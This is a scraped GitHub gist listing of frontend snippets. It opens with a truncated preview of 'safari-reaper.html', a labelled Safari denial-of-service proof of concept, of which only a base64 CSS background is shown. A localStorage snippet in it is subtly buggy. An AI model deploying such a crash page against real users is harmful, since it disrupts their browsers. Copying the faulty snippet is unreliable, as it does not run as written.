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Doing things to improve the lives of frontend devs

Jeferson Mari JefMari

🎯
Doing things to improve the lives of frontend devs
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@JefMari
JefMari / safari-reaper.html
Created September 16, 2018 14:22
Safari DoS ☠️ (Original tweet: https://twitter.com/pwnsdx/status/1040944750973595649, try it: https://cdn.rawgit.com/pwnsdx/ce64de2760996a6c432f06d612e33aea/raw/fb78440ee4bce427f0cde98a4e9feadfd9eed198/safari-reaper.html)
<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<style>
body {
background: repeat url('data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/7QCIUGhvdG9zaG9wIDMuMAA4QklNBAQAAAAAAGscAVoAAxslRxwCAAACAAAcAnQAV8KpIENoYWV5b3VuZ1dpbGxOZXZlckNoYWVvbGQgLSBodHRwOi8vd3d3LnJlZGJ1YmJsZS5jb20vcGVvcGxlL0NoYWV5b3VuZ1dpbGxOZXZlckNoYWVvbAD/4gxYSUNDX1BST0ZJTEUAAQEAAAxITGlubwIQAABtbnRyUkdCIFhZWiAHzgACAAkABgAxAABhY3NwTVNGVAAAAABJRUMgc1JHQgAAAAAAAAAAAAAAAAAA9tYAAQAAAADTLUhQICAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABFjcHJ0AAABUAAAADNkZXNjAAABhAAAAGx3dHB0AAAB8AAAABRia3B0AAACBAAAABRyWFlaAAACGAAAABRnWFlaAAACLAAAABRiWFlaAAACQAAAABRkbW5kAAACVAAAAHBkbWRkAAACxAAAAIh2dWVkAAADTAAAAIZ2aWV3AAAD1AAAACRsdW1pAAAD+AAAABRtZWFzAAAEDAAAACR0ZWNoAAAEMAAAAAxyVFJDAAAEPAAACAxnVFJDAAAEPAAACAxiVFJDAAAEPAAACAx0ZXh0AAAAAENvcHlyaWdodCAoYykgMTk5OCBIZXdsZXR0LVBhY2thcmQgQ29tcGFueQAAZGVzYwAAAAAAAAASc1JHQiBJRUM2MTk2Ni0yLjEAAAAAAAAAAAAAABJzUkdCIElFQzYxOTY2LTIuMQAAAAAAAA
@JefMari
JefMari / ko.utils.3.4.0.signatures.js
Created August 14, 2018 05:12 — forked from hyle/ko.utils.3.4.0.signatures.js
KnockoutJS 3.4.0 / 3.4.1 / 3.4.2 utils (ko.utils) signatures
// knockout 3.4.0
ko.utils.addOrRemoveItem = function (array, value, included) { /* .. */ }
ko.utils.anyDomNodeIsAttachedToDocument = function (nodes) { /* .. */ }
ko.utils.arrayFilter = function (array, predicate) { /* .. */ }
ko.utils.arrayFirst = function (array, predicate, predicateOwner) { /* .. */ }
@JefMari
JefMari / fullCalendarDisablePrevNext.js
Created February 9, 2018 05:50 — forked from juanbrujo/fullCalendarDisablePrevNext.js
jQuery FullCalendar.js: disable prev/next button for past/future dates
$('#calendar').fullCalendar({
viewRender: function(currentView){
var minDate = moment(),
maxDate = moment().add(2,'weeks');
// Past
if (minDate >= currentView.start && minDate <= currentView.end) {
$(".fc-prev-button").prop('disabled', true);
$(".fc-prev-button").addClass('fc-state-disabled');
}
else {
@JefMari
JefMari / how-to.txt
Created November 17, 2017 12:25 — forked from simonw/how-to.md
How to create a tarball of a git repository using "git archive"
git archive --format=tar.gz -o /tmp/my-repo.tar.gz --prefix=my-repo/ master
@JefMari
JefMari / simple-git-workflow.md
Created May 24, 2017 09:41 — forked from leesmith/simple-git-workflow.md
Simple Git Workflow For Continuous Delivery

Simple Git Workflow For Continuous Delivery

Workflow guidelines:

  • master branch is always production-ready, deployable, 100% green test suite
  • New development is done on feature branches, with frequent rebasing onto master
  • Clean commit history by preferring to rebase instead of merge (git pull is configured to automatically rebase)

rebase workflow

Workflow

@JefMari
JefMari / react-logo-w-bg.svg
Created October 5, 2016 06:22 — forked from vslinko/react-logo-w-bg.svg
react.js logo for tshirt
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@JefMari
JefMari / GAME_MASTER_v0_1.json
Created August 11, 2016 04:48 — forked from rmkane/GAME_MASTER_v0_1.json
Pokemon GO Game Data
{
"Items": [ {
"TemplateId": "BADGE_BATTLE_ATTACK_WON",
"Badge": {
"BadgeType": "BADGE_BATTLE_ATTACK_WON",
"BadgeRanks": 4,
"Targets": "\\nd\\350\\007"
}
}, {
"TemplateId": "BADGE_BATTLE_TRAINING_WON",
@JefMari
JefMari / GAME_MASTER_v0_1.protobuf
Created August 11, 2016 04:47 — forked from anonymous/GAME_MASTER_v0_1.protobuf
Pokemon Go decoded GAME_MASTER protobuf file v0.1
Result: 1
Items {
TemplateId: "BADGE_BATTLE_ATTACK_WON"
Badge {
BadgeType: BADGE_BATTLE_ATTACK_WON
BadgeRanks: 4
Targets: "\nd\350\007"
}
}
Items {
@JefMari
JefMari / browser.js
Created July 5, 2016 03:32 — forked from srph/browser.js
jeff: tweaking array from storage source
// Local Storage
var rows = JSON.parse(localStorage.getItem('names') || []);
rows.push('names');
localStorage.setItem('names', JSON.stringify(rows));
@JefMari
JefMari / htmlentity.js
Created November 10, 2015 08:57 — forked from CatTail/htmlentity.js
Javascript: encode(decode) html text into html entity
// encode(decode) html text into html entity
var decodeHtmlEntity = function(str) {
return str.replace(/&#(\d+);/g, function(match, dec) {
return String.fromCharCode(dec);
});
};
var encodeHtmlEntity = function(str) {
var buf = [];
for (var i=str.length-1;i>=0;i--) {